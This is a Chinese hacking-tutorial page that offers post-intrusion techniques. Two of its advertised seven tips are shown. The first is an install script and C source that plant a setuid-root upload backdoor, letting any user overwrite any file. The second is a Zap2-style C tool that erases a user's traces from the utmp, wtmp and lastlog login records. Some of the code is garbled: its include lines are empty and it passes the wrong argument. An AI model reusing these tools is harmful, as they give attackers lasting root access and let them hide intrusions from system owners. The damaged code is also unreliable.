当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 黑客入侵实用技巧七则

安全基础
找出安全漏洞 QQ盗号软件后门分析与反击
网络安全技术 再谈跨站脚本攻击与防御
掌控PC 如何应对僵尸主机及僵尸网络
如何在Windows中构建蜜罐?
分析并清除web服务器上的网页木马
基础知识讲解 病毒的IFEO映像劫持技术
网管秘籍 拒绝服务攻击防御全攻略
网管秘籍 如何减轻DDoS攻击带来的危害
利用输入法漏洞轻松破解Vista登录密码
安全保障!封杀木马病毒十大绝招
变态入侵:有史以来最酷的Windows后门
安全导航:认识反网络钓鱼欺骗新技术
管理好自己密码的10个技巧
如何隐藏管理员帐号
网络监听的原理、实现技术与防范方法
简单分析微软无线键盘的安全隐患
解密美国FBI的电话及网络监控技术
突破ADSL限制 通过宽带路由多机共享上网
Autorun病毒防御者 让U盘不中毒
计算机的密码设置技巧

安全基础 中的 黑客入侵实用技巧七则


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 32 ::
收藏到网摘: n/a

1 、UPLOAD

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

 
2、破坏现场

进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv);
kill_wtmp(argv);
kill_utmp(argv);
printf("Zap2!\n");
} else
printf("Error.\n");
}